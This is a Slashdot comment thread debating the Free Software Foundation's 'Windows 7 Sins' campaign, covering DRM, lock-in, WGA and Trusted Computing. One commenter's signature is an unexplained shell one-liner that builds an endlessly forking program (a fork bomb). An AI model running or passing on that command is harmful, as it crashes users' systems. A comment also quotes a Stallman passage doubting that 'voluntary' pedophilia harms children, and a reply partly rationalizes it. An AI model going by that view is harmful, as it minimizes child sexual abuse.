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FSF Attacks Windows 7's "Sins" In New Campaign
CWmike writes "The Free Software Foundation today launched a campaign against Microsoft Corp.'s upcoming Windows 7 operating system, calling it 'treacherous computing' that stealthily takes away rights from users. At the Web site Windows7Sins.org, the Boston-based FSF lists the seven 'sins' that proprietary software such as Windows 7 commits against computer users. They include: Poisoning education, locking in users, abusing standards such as OpenDocument Format (ODF), leveraging monopolistic behavior, threatening user security, enforcing Digital Rights Management (DRM) at the request of entertainment companies concerned about movie and music piracy, and invading privacy. 'Windows, for some time now, has really been a DRM platform, restricting you from making copies of digital files,' said executive director Peter Brown. And if Microsoft's Trusted Computing technology were fully implemented the way the company would like, the vendor would have 'malicious and really complete control over your computer.'"
And then they wonder why noone is taking the FSF seriously. Thankfully, they are not representative of the open source movement.
Hasn't every previous version of Windows been guilty (or at least accused) of these very same "sins"?
Besides, I would imagine that the majority of Windows users won't ever see or hear of this campaign anyway, your average PC World customer won't have a clue what free software is, what DRM is, and most probably don't even know that there are alternative operating systems available anyway. My parents, parents-in-law, my siblings.....hell just about everybody I know that doesn't work in IT. Perhaps if the FSF could get some TV advertising...
You can advertise in this sig from as little as £99.99 a month!
I've always wondered if the FSF was actually somehow on Microsoft's payroll. They' sure as hell aren't doing free software/open source any good. If anything, they're making people want to avoid using open source thanks to Rick Stallman's antics.
Wrong. Children learn to work on the platform that's mostly used in Businesses today, giving them the necessary skills to obtain a job.
Wrong. WGA does not "inspect" the users hard drive, it checks the Windows license. It's mostly used to combat fraud done by computer vendors which sell illicit copies for money. Users at home will purchase Windows with their PC and use OEM Activation, which does not need any user interaction. Enthuasiasts upgrading their PC will need to enter a key, but Activation is also quick and painless.
Not true. Microsoft requires vendors to only sell computers with an operating system to qualify for a discount. You can purchase laptops with Ubuntu from Dell, you can purchase ThinkPads running FreeDOS or SLED.
Vendors may also opt to purchase OSB copies at standard pricing, which has zero restrictions.
Support for old software is discontinued everytime, by every vendor. Every Linux vendor and even free distributions like Ubuntu have a support lifecycle.
Well, i'll give them this point. But Microsoft has added support for ODF in Office 2007 SP2, however it was the ODF guys who weren't even able to spec out something basic as formulas in a spreadsheet specification.
If you purchase DRMd content, you know exactly what you're in for. Windows just supports it. It's like a car that can lock the rear doors to children can't open the doors while on the road. Yes, some people may use that feature to kidnap someone, but that doesn't mean that locking rear doors is bad.
This was true until Windows XP SP2, but Microsoft has really improved security since then.
All in all, it's a bunch of stupid FUD by hippies that eat their gunk from their toes.
Sure there has. I hear Steve threw some chairs around again.
They're sounding ever more rabid, proclaim bizarre things that anyone with a clue can see right through and are frankly counter productive to whatever they are trying to achieve. Once upon a time I had a lot of respect for them in many areas but these days, just seeing FSF in a headline is usually a clue you need to jump to the next new article.
I want a list of atrocities done in your name - Recoil
I don't know about you, but I can still copy CDs and other DRM-free content pretty fine with Vista.
Those same "sins" can be applied to any proprietary piece of software; heck, some of them can be applied to certain open-source software as well. Now, putting Windows aside, people use proprietary software all the time -- and for some of it there is no FOSS equivalent. Whether it's Windows itself, or Photoshop, Visual Studio, AutoCAD, Mastercam, Office, VMWare, or any of the slew of proprietary pieces of software out there, it's a bad idea to sit there and categorically attack something that many people are either fine with, don't care enough to be against, or ignorant about whether or not they should be against it.
In fact, that's probably the least likely way those people will end up listening to you, and after all, those are the people you're trying to convince.
A lot of people like Windows very much, and even if they could afford an alternative, like a Mac, they choose not to, because they like Windows. Hardcore industry people, like professional photographers using Photoshop, graphic designers using Illustrator, computer-aided manufacturing engineers using things like Mastercam or AutoCAD are so dedicated to their tool-of-trade that they will take umbrage to anything that tries to insult it. After all, doing so may be taken as an insult to their very profession, and thus, to themselves.
So what I'm trying to say is, the strategy of attacking Windows, and proprietary software in general, in order to help bring people to FOSS is going to have the exact opposite effect -- it's only going to solidify people who use proprietary software and alienate them from any thoughts of an alternative. After all, you wouldn't listen to someone telling you you suck, the software you use sucks, and you're an idiot for using it. Now, I'm not saying that's what they outright said, but that's how it's going to be taken by people reading it.
Maybe FOSS should stop being like PETA and, instead, tell people why it's *good* to use FOSS. Why Linux is *better* than Windows, GiMP is *better* than Photoshop, OpenOffice is *better* than MS Office. And maybe people will listen. But if you insult their software and tell them to use something else, they won't be very open to the idea.
Just a thought, anyway.
They could at least try. Every single claim they make is laughable. They make overarching claims such as "inspect users' hard drives", which carries a heavy implication of looking through user data when no such looking occurs. Most of the others (vendor lock-in, security holes) are a decade out of date. Then they use terms like "proprietary Word formats" when all Word formats - both OOXML and DOC - are fully documented, as mandated by federal court.
Finally, they talk about DRM and removing support for older versions when you'd be hard-pressed to find an Open Source vendor supporting products for even a quarter of the lifecycle Microsoft supports its products for and the DRM exists solely to allow playback of HD content (and is nonexistent when such content isn't being played), something with OSS can't do.
Really, the FSF is almost as much of an embarassment to the Open Source community as RMS. If we ever want to see the day of the Linux desktop, we'll have to muzzle both of them first.
Founded in the mid-1980s by hacker-activist Richard Stallman, the FSF argues that free software and source code is a moral right. It takes pains to distinguish itself from the open-source movement, which advocates sharing of source code but tolerates charging for software.
I find this point rather interesting, as Richard Stallman gave a speech at Otago University here in small old New Zealand last year, and he was quite adamant that there was nothing wrong with charging for software, and took great pains to make the distinction between "free as in freedom" and "free as in beer".
Is Computerworld confused?
This post was made in complete sincere seriousity; as such any attempts to derive humour are doomed to instant failure.
One thing is spreading FUD. A very different thing is spreading the truth in a blatantly sensationalist manner.
Exactly. Those which often cry "freedom" often forget that my freedom includes the freedom of choosing the choices they dislike. I have chosen Windows 7, and I'm damn happy I did so.
It's time to realise that Abble's products are the biggest abomination these days. Just say NO to the dumb iAbble way!!
I think the FSF is using some ineffective rhetoric.
The first sin:
1. Poisoning education: Today, most children whose education involves computers are being taught to use one company's product: Microsoft's. Microsoft spends large sums on lobbyists and marketing to corrupt educational departments. An education using the power of computers should be a means to freedom and empowerment, not an avenue for one corporation to instill its monopoly.
I think this rhetoric only works if the reader already is at least somewhat suspicious of Microsoft.
To someone whose only experience with non-MS OSes is watching 90's movies (remember the Apple product placement) and maybe using a Mac at a friend's house once or twice; to someone whose only complaint about Microsoft software is that it crashes a bit too often and thinks this is just the way computers are; to someone who thinks that Windows and Office is the "standard" software and that it's useful to use what everyone else uses; to someone who doesn't think (rightly or wrongly) that the MS monopoly is causing bad things to happen to them---
What is the FSF saying? That schools should teach children how to use another OS that very few people use, and that might not work well together with what everyone uses? "Yeah, sure, monopolies aren't great, but I want my kids to learn something useful instead of what some ideologue thinks is right."
I don't agree with "the common man"'s interpretation, but I think that's what it is.
I think a much more powerful message could be sent by pounding (hard) on the fact that Microsoft is costing you more money that they have to. But they don't make a big fuss out of that:
4. Lock-in: Microsoft regularly attempts to force updates on its users, by removing support for older versions of Windows and Office, and by inflating hardware requirements. For many people, this means having to throw away working computers just because they don't meet the unnecessary requirements for the new Windows versions.
That really hasn't been my experience when I was using Windows: I wanted faster boxes such that I could play better games. How many people have upgraded computers to run newer versions of Windows/Office? In any case, why doesn't the FSF say in big, nasty, red letters: "Microsoft is making you spend money (excessively)!"? [add an OMGBBQROFL and exclamation marks if you think it makes the message more convincing].
Oh well... I think it's good of the FSF to try*, although I doubt the effectiveness of their methods.
[* I happen to use (GNU/)Linux, but if the FSF was advocating Haiku or OpenVMS or $NOT_LINUX as their main Windows alternative, I'd still be happy: I want more competition in the OS market, and a more fragmented platform base that'll encourage software vendors to write portable code; when you ignore 40% of the market instead of 5%, you might rethink not porting. Maybe this'll just shift apps even more onto the web, though...]
... They wanted their web-design pages back.
Is that a BLINK tag I am looking at? Just that makes FSF or whoever else uses it E.V.I.L. (c)
Ubuntu is an African word meaning 'I can't configure Debian'
Guys at FSF, if you want your message to reach the public, take some web design lessons.
Do you know and remember the old gnu.org site? You know, the one with black text on white and blue links [probably because that was the browser default]? Where the only document structure was h1 and p, with an em or two thrown about for, well, emphasis?
That was actually a good design (for a particular subset of parameters). It was viewable with any browser (almost including netcat :D), it handled just about any window size well [as well as possible, at least], it was friendly for the colorblind, the structure was quite simple with no sidebars, no top-bars... no clutter.
But then someone went and changed it, and now there are all the colors, and double-column layout (with long columns), and... meh.
The Slahsdot crowd is not the target audience, and I do think this campaign does a few things right:
- trying to take the moral high ground... the use of "sins" is even funny. Sinners vs hackers ?
- being back-to-basics... most people are not aware at all of the issues, and not well equipped to understand them. So yeah, maybe this campaign is stupid... maybe it needs to be ?
- negativity... I personnally don't like that, but we've seen time and time again that negativity just works. It's not like MS's took any sort of moral high ground that's make us want to behave like gentlemen...
- the actual point they make are not actually bad. I'd have gone for more in-your-face, practical stuff though.
I'm sure the FSF would welcome any better ideas. As the French say: "La critique est aisee, mais l'art est difficile".
I personnaly may suggest a 1984ish dystopia, with someone and someone's grandchildren trying to acces photos, music, videos, even journal, only to be denied again and again, then punished out of proportion. The issue with that is that 1984 is a "liberal" reference, we want something conservative.
The Cloud - because you don't care if your apps and data are up in the air.
... I'm frankly getting sick of the FSF. This latest stupid campaign reads like it was written by some petulant teenager without the first clue as to the realities of life and it tars the rest of us who support (and in my case actually write) OSS with the same idiotic uncompromising brush.
Message to Stallman - close source will be around after you've retired from your cosy ivory tower paid-by-the-taxpayer college job so get over it, learn to live with it and stop making other OSS advocates look and sound like immature fools.
At the risk of being yelled at for a Godwin, remember that Hitler was bought to power in an election as legitimate as some recent US ones.
Without yelling "Godwin": Yeah? So, American presidents need armed forces standing at parliament doors to intimidate MIPs to get to power, too? If you do historical comparisons, do them right. In the election only Hitler's party was elected, not himself; and they did not even get more than 50 per cent of the vote. Only later were MIPs intimidated by SA soldiers in front of the parliament to vote for (or rather not vote against) laws that made Hitler a de facto dictator (though he was chancellor before, however, checked by democratic institutions).
As a German I am appalled by how often you people get these things wrong. Didn't you have history lessons? Or don't you at least have the ability to google or the decency to shut up when you don't know better?
The whole "sin" thing makes the FSF and by extension all of us look like a bunch of religious loonies. Combine that with the fact that the FSF is being creative with the truth in this campaign and there goes our credibility.
*Poisoning education - Frankly, writing software for Windows is simply easier (or at least was until recently, it's getting better) especially if the bulk of what you're writing is interface work (like, say, educational software). And the argument that people who learn to use computers running Windows will somehow not be able to use anything else is bullshit, as most office productivity software works roughly the same. I do sometimes get annoyed with Linux (no Linux version of [favourite tool] exists - oh well, Wine) and OpenOffice (simply isn't complete yet) but that isn't Microsoft's fault.
*locking in users - The free software community is as much to blame as Microsoft. People will use whatever they need to get the job done. There are quite a few Microsoft applications for which no good alternative exists yet. Getting angry won't help here - start coding instead.
*abusing standards such as OpenDocument Format (ODF) - They didn't abuse the standards (unless you count the formula thing, which I regard as a bug in the standard itself) but the standards bodies by bribing people. This is bad, and it isn't something you're going to convince anyone of using a misleading headline and a lack of references.
*leveraging monopolistic behaviour - Sort of true, and sort of not true. You can get angry at MS for including a browser and a media player with their OS, but every OS should in this day and age ship with those anyway and you can't blame them for shipping their own. You would have done the same in their shoes, not out of malice but since it's the natural thing to do.
*threatening user security - Most Windows malware could easily be ported to Linux. Seriously, the times when the goal of a virus was to stop the system from booting are over. The sociopaths under the virus writers just want to trash your documents (easily done under Linux) and the spammers just want your internet connection (easily available under Linux also - I know this because I've run netgames and file sharing apps (among other things) under Linux).
*enforcing Digital Rights Management (DRM) at the request of entertainment companies concerned about movie and music piracy - Unfortunately for MS no one uses WMA, everyone uses MP3 (or rarely Ogg) for their music and this is how it ends up on the file sharing networks. Maybe it was evil of MS to try to go that route, but it has been scientifically proven that DRM cannot work and all material anyone wants is available without MS's DRM on it, so this is a huge non-issue.
*and invading privacy - Oh, come on. The FSF cites just the WGA thing, and for all the horrid things it may be, it certainly isn't a privacy risk.
Now, I think there's a lot wrong with Microsoft and Windows (being a programmer, it's mostly the myriad of new API's that strike a nerve, I like it when things are stable and I don't have to relearn everything every two years - I think I'll be skipping at least two or three of 'm and maybe I'll never be back - there are other things also) but I don't think starting a FUD campaign is going to do us any good.
I really agree with this point. People learn Excel instead of spread sheets. The problem is, give them another spread sheet, or Excel with a new interface, and their world melts. But also it is a learning computers/programming question. I also think Windows is not as a nutritious platform to learn from. When I was growing up, computers where relatively open, or at least the Acorn was, nearly everything was a mix of BASIC and ARM code. The Acorn was itching to be programmed. A disproportion of programmers I have worked with cut their teeth on the Acorn as a child. Where are our replacements coming from? Uni? I think the problems of learning programming purely from the education system are well documented here, not saying they are all crap, but there is certainly no shortage of those that are. Very few Windows kids seem to come out programmers. Linux is even more nutritious platform, more so then platforms like the Acorn ever where. Not just because everything is open but because of its rich server heritage. The openness is not just in the source, but in documents and books explaining how parts work and why. There are no dark secrets and black boxes, everything is done in the open to those interested. I learnt more in the last few years of playing with Linux at home then I have in the last ten programming on Windows for a living. I think this is why Windows people fear the penguin, if all this is right, it means they are behind where they could be. The big thing I think Windows breaks is your understanding of filesystems. Explaining a virtual filesystem to a Windows (userland only) programmer can melt their mind, explaining the "proc" folder has done that at least a few times. Those who think filesystems don't matter, don't understand how powerful this simple abstraction is. They have never seen a device file, it's hidden from their world, they don't know it's all under their feet. Which goes back to Windows breaking your understanding of filesystems. My kids will be Linux kids and they will know more about computers because of it.
"The all-new Windows 7! What's in the box? "
Disappointment.
FSF clearly has Microsoft hate disease to the point it is leaping into the FUD game with claims that are quite a stretch. Talk of 'sins'
Microsoft has previously been the dirty monoploy, but many claims are a stretch, some as good as ficticious. Furthormore things have started to change in Redmond.
DRM is hardly a threat anymore. DRM in WIndows was a flop, it's progressing no further, it's a seldom invoked codepath that somehow got blamed for performane problems, crops failing and stillborn babies in Vista (guess what same DRM is in Windows 7, problems there? No dead babies).
These 'sins' are tenuous at best, and are mostly situations that are improving. FSF: please do not be unhelpful, stick to facts or go beat up on Apple please.
Lock in? Seriously, that's being erroded, Microsofts supposed Lock-in is now as feeble as ever, consumers and developers have long taken matters in to their own hands.
Poisoning education? Maybe previously, but you can actually get Linux qualifications nowadays, and the tremendous growth of Linux in schools and universities is another point.
To the more lawless of individuals DRM is so insubstantial as to be no exsistant. Example:
'Windows, for some time now, has really been a DRM platform, restricting you from making copies of digital files,'
Let me fix that for you, FSF:
'Windows, for some time now, has really been a piracy platform, the OS of choice for pirates, warez, and hell the OS itself is the most pirated OS ever.
I would add, that 'piracy' is a feature of Windows. DRM of any kind has been a failure, people take matters into their own hands and get what they want restrictions be damned
After logging in slashdot still does not take you back to the page you were on. It's been that way for 20 years.
Well some of the points are good ones. For example, the DRM part is relevant and worth raising awareness about. Some points certainly require more support to stand (e.g. the part about how Microsoft violates my privacy by scanning my hard drive, which makes it sound like they're grabbing all my personal files for analysis) and some of the points are either very tangential issues on their own, e.g. "Poisoning Education", or really scraping the barrel, e.g. "Windows has a long history of security vulnerabilities."
That last one is particularly bad. It's not like Linux doesn't have a long history of security vulnerabilities. It has historically been much better because of the account privileges system has been better on Linux. But it has also benefited greatly by simply not being anywhere near as worthwhile a target as Windows platforms due to (a) market share and (b) being used mainly by people who are technologically capable. That there are a very large number of people out there that don't keep their computer systems up to date or well-administered would not much change if, say, Ubuntu were the market leader. Bear in mind that Windows now has the capability for real differentiation of accounts and centralized "package management" will appear sooner or later, no doubt.
But the EFF isn't saying positive things about how the situation has come across. They're mixing up serious issues like the DRM with what has the appearance of "we hate Microsoft and will find as many arguments against them as we can, even weak ones" and, at least to me, creating a very poor impression of themselves. The outside world (by which I mean people who haven't aligned themselves with either Microsoft or the EFF, but just want to get on with their own things), don't appreciate seeing someone attack someone else.
If a Linux company contacts these Fortune 500 companies and says "Our product is better because...", that sounds natural and healthy enough. If the EFF come out with a statement saying "Windows 7 contains DRM technology that will adversely affect us all like so..." then that sounds rational and interesting and respectable. But if, as they have with this, they come out with a slew of whatever arguments they can find clearly motivated by a dislike of the company, it looks bad. That's all I'm saying, really. Some of the arguments are good ones, some are weak or even flawed, but the whole campaign looks bad because the motive is clearly not constructive, but an attempt to slate a company they don't like. It's very hard to fling mud without getting it on yourself.
Aide-toi, le Ciel t'aidera - Jeanne D'Arc.
http://www.stallman.org/archives/2006-may-aug.html#05%20June%202006%20(Dutch%20paedophiles%20form%20political%20party)
Dutch pedophiles have formed a political party to campaign for legalization.
I am skeptical of the claim that voluntarily pedophilia harms children. The arguments that it causes harm seem to be based on cases which aren't voluntary, which are then stretched by parents who are horrified by the idea that their little baby is maturing.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
> we've seen time and time again that negativity just works
No, actually, it doesn't. Well, up to a certain point it does, but ultimately it is self-defeating.
If you pay attention to advertising campaigns and market share, you will note that there's a strong correlation between *positive* advertising campaigns and the ability to attain and retain first place in the market. Not that everybody who runs positive advertising get into first place, but rather the converse: just about everybody who gets into first place, and stays there, does so while running positive advertising.
Take, for example, the fast food industry. McDonald's runs positive advertising like nobody's business and has to my knowledge *never* run a negative ad, and none of their competitors can touch them. Burger King periodically runs negative ads (directed, usually, at McDonald's) and has slipped from second place to, what, fourth or fifth now? Taco Bell *stopped* running negative ads in the eighties, switched over to all positive ads, and climbed from Nth place right up to second. Yes, there are other factors. The advertising isn't the whole cause of any of the above. But the advertising is also a component.
You can see the same thing in political elections. When a campaign boils down to "the other guy sucks", it generally goes down in flames. Successful campaigns look more like "you need our candidate, for these simple positive bullet-point reasons". John Kerry compared himself (and his running mate) to the opposition, and he was defeated by 34 electoral votes. Obama talked about his vision, and he was elected. (There were other factors in both cases, of course. Lots of other factors. But the advertising was also a factor.) You can run through the whole history of all the US Presidential election campaigns, and you'll see that in general the positive campaigns have a much stronger tendency to win than the negative ones. Talking too much about the opposition is self-defeating.
We could look at any number of other industries, but let's bring it around to computers: up through the late nineties or so, Microsoft ran all positive advertisements, and their market share was on the increase. Then they started running negative ads, and their market share is on the decline now. (Granted, there wasn't a lot of room for it to increase further, since it peaked somewhere above 95% around the turn of the century.) Apple never learns: they keep running negative ads for Macs, and their market share languishes in the low single digits. (They have quite good market share in the music player market, but all the iPod advertising is positive.) Again, there are other factors. But inasmuch as the advertising is a driving force in market share dynamics, positive advertising is a positive driving force, and negative advertising traps you beneath a glass ceiling of your own making.
Cut that out, or I will ship you to Norilsk in a box.
That's because society in general has conflated pedophilia with ephebophilia. Pedophilia, in it's technical sense, means "sex with pre-pubescents" (or rather, an inclination to such sex). Ephebophilia is an inclination towards sex with adolescents. Society, in it's endless quest to eliminate fine distinctions, uses "pedophilia" to mean "sex with children". It then uses the legal definition of child - "under 18" - rather than the biological one, and ends up with "pedophilia is sex with under 18s". Which leads to the cases like the 18 year-old with the 17 year-old girlfriend who's convicted of statuatory rape. What (I assume) Stallman means is probably quite true. 16 year olds having consensual sex is probably not going to do them any more harm than having consensual sex two years later.
Just because you're paranoid doesn't mean there isn't an invisible demon about to eat your face
Exactly. Those which often cry "freedom" often forget that my freedom includes the freedom of choosing the choices they dislike. I have chosen Windows 7, and I'm damn happy I did so.
Oh, you rebel you!
Miley Cyrus has double-Ds?
Hot damn, I need to pay more attention to pop culture.
Where do we go from here?
I actually agree with your belief that positive campaigning trumps negative in the general case. However, I think some of your logic is wonky. You ignore the reasons why an entity will go to negative campaigning - i.e. they're being beaten. If you're on top, if you are the best, then you have a lot to be positive about and to sell yourself on. If someone is beating you on the positive, then you have much more pressure on you to try and undermine your opponent's strong points. Correlation and causation and all that cliché, but there may well be a case that losing pushing people towards negative. You can see that in the instances where campaigns don't go negative until they find they're at risk of losing.
Aide-toi, le Ciel t'aidera - Jeanne D'Arc.
Great except, the FSF is spreading FUD. The following comment is nothing but FUD:
It's FUD because it's a blatant lie. I am disturbed that the FSF is lying like this - I knew Stallman and his friends were sensationalist and extreme, but they haven't usually needed to lie to make their points.
Firstly, it's not Microsofts technology, these days it's mostly Intel pushing the TCG specs forward. Secondly it's not correct that TC makes your computer obey Microsoft (or any other company) instead of you. Here is what TC actually does ..... wait for it ....
TC lets you make an unforgeable proof about the state of your computer, and then send it to somebody elses computer.
Hmm, doesn't sound so bad now does it? It basically stops you from lying to a third party. Do you routinely lie to those you do business with? If so you might not like TC. Do the people you do business with sometimes lie to you? Do you have to deal with spam and other forms of automated abuse? TC might be just the thing you need.
TC hardware won't send such a proof without you running a program which does so. The TC hardware is fundamentally incapable of making your computer do anything at all, in fact. It simply adds additional features to the standard PC feature set, which you are free to use or not use as you see fit.
Now, that doesn't mean somebody else will do business with you if you refuse to present a proof. Kinda like how some bars refuse to let you in if you can't prove your age, some businesses might refuse to let you in unless you can prove you are running the program they actually sent you. This does not extend to the OS or indeed anything running on the OS. The SINIT instruction, in fact, is designed to make the running OS irrelevant by a clever use of VM technology. Linux, Windows, MenuetOS ... whatever. The other party won't know or care what you use. This might sound impossible but it is not, read the Intel docs and you will see how it works. Indeed the goal is to minimize the amount of code "proved" in this way because the TC designers know the more code you have, the less likely it is to be secure.
TC does not advantage big companies over the individual. The feature set, specifications and implementations contain nothing that would do that. It could just as easily be a Disney server proving to YOU what it's running as the other way around.
TC as implemented today can't be used for DRM. For that you'd need "trusted graphics" and "trusted audio", both things for which there are no specs and no implementations. What it does allow (when it works) is the running of a program in a separate VM sealed from interference from the main OS. That has many uses in many fields, for instance, wouldn't it be nice for your bank to know that the transaction was submitted by a human using a keyboard rather than a virus that hijacked your browser?
I'm sick of the FSF spreading blatant FUD about this versatile and entirely open technology. Don't believe it.